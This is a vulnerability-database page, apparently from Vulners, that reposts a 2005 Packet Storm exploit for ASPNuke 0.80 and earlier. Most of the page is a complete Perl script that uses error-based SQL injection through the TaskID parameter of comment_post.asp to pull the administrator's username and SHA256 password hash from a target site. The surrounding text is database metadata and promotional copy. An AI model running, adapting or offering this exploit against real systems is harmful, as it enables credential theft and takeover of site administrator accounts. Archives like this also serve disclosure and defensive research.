Lucene search

K

ASPNukeSQL080.txt

🗓️ 01 Jul 2005 00:00:00Reported by Alberto TriveroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

SQL Injection exploit for ASPNuke version up to 0.80 retrieving admin username and SHA256 password hash.

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`#!/usr/bin/perl -w  
#  
# SQL Injection Exploit for ASPNuke <= 0.80  
# This exploit retrieve the username of the administrator of the board and his password crypted in SHA256  
# Related advisory: http://www.securityfocus.com/archive/1/403479/30/0/threaded  
# Discovered and Coded by Alberto Trivero  
  
use LWP::Simple;  
  
print "\n\t===============================\n";  
print "\t= Exploit for ASPNuke <= 0.80 =\n";  
print "\t= by Alberto Trivero =\n";  
print "\t===============================\n\n";  
  
if(@ARGV!=1 or !($ARGV[0]=~m/http/)) {  
print "Usage:\nperl $0 [full_target_path]\n\nExamples:\nperl $0 http://www.example.com/aspnuke/\n";  
exit(0);  
}  
  
$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Username") || die "[-] Unable to retrieve: $!";  
print "[+] Connected to: $ARGV[0]\n";  
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] Username of admin is: $1\n";  
print "[-] Unable to retrieve Username\n" if(!$1);  
$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Password") || die "[-] Unable to retrieve: $!";  
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] SHA256 hash of password is: $1\n";  
print "[-] Unable to retrieve hash of password\n" if(!$1);  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
01 Jul 2005 00:00Current
7.4High risk
Vulners AI Score7.4
22
.json
Report